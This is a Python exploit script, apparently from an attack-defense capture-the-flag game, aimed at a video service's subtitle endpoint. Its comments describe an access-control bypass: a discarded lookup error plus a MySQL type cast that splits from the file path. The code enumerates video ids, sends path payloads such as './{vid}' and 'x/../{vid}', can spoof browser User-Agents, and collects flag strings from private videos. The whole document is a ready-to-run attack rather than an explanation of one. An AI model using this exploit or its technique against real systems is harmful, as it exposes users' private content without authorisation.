#!/usr/bin/env python3 import sys import re import random import requests USE_CUSTOM_USER_AGENT = False FLAG_RX = re.compile(r"[A-Z0-9]{31}=") USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0" ] PORT = 5000 EXTRA_DEPTH = 60 # how many ids below the feed window to bruteforce WATCH_RX = re.compile(r"/watch/(\d+)") def exploit(target_ip): flags = set() headers = {} if USE_CUSTOM_USER_AGENT: headers["User-Agent"] = random.choice(USER_AGENTS) # ------------------------------------------------------------------------- # VULN: server/server.go:181-192 handleVtt() # v, _ := s.db.GetVideo(ctx, vid) <-- error is DISCARDED # if !s.haveAccess(ctx, uid, *v) { 403 } # return c.File(path.Join(s.c.VttFolder, vid+".vtt")) # # `vid` is the RAW query string, it is used twice: # 1) as a SQL value -> MySQL casts './7' to the number 0, no row matches, # GetVideo returns (&Video{}, ErrNotFound) and the error is thrown away. # The zero Video has Private=false and UserID=0, so haveAccess() returns # true for everybody (even for an anonymous visitor, uid==0). # 2) as a FILE PATH -> path.Join("public/vtt", "./7.vtt") == "public/vtt/7.vtt" # # => subtitles (where the checker stores the flag) of ANY private video are # served without login, without a share token and without an access row. # ------------------------------------------------------------------------- try: s = requests.Session() s.headers.update(headers) base = f"http://{target_ip}:{PORT}" # 1. enumerate video ids from the public feed ids = [] try: r = s.get(f"{base}/feed", timeout=5) ids = [int(x) for x in WATCH_RX.findall(r.text)] except requests.RequestException as e: print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True) if ids: lo = max(1, min(ids) - EXTRA_DEPTH) ids = sorted(set(ids) | set(range(lo, min(ids))), reverse=True) else: ids = list(range(200, 0, -1)) # 2. for every id ask for its .vtt with a payload that de-syncs # the SQL lookup from the file lookup for vid in ids: for payload in (f"./{vid}", f"x/../{vid}", f"/{vid}"): try: r = s.get(f"{base}/vtt/", params={"id": payload}, timeout=5) except requests.RequestException as e: print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True) break if r.status_code != 200: continue found = FLAG_RX.findall(r.text) if found: flags.update(found) break except requests.RequestException as e: print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True) # ------------------------------------------------------------------------- return flags def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ", file=sys.stderr, flush=True) sys.exit(1) target_ip = sys.argv[1] try: found_flags = exploit(target_ip) if found_flags is None: found_flags = [] elif isinstance(found_flags, str): found_flags = [found_flags] for flag in found_flags: clean_flag = str(flag).strip() if FLAG_RX.fullmatch(clean_flag): print(clean_flag, flush=True) except Exception as e: print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True) if __name__ == "__main__": main()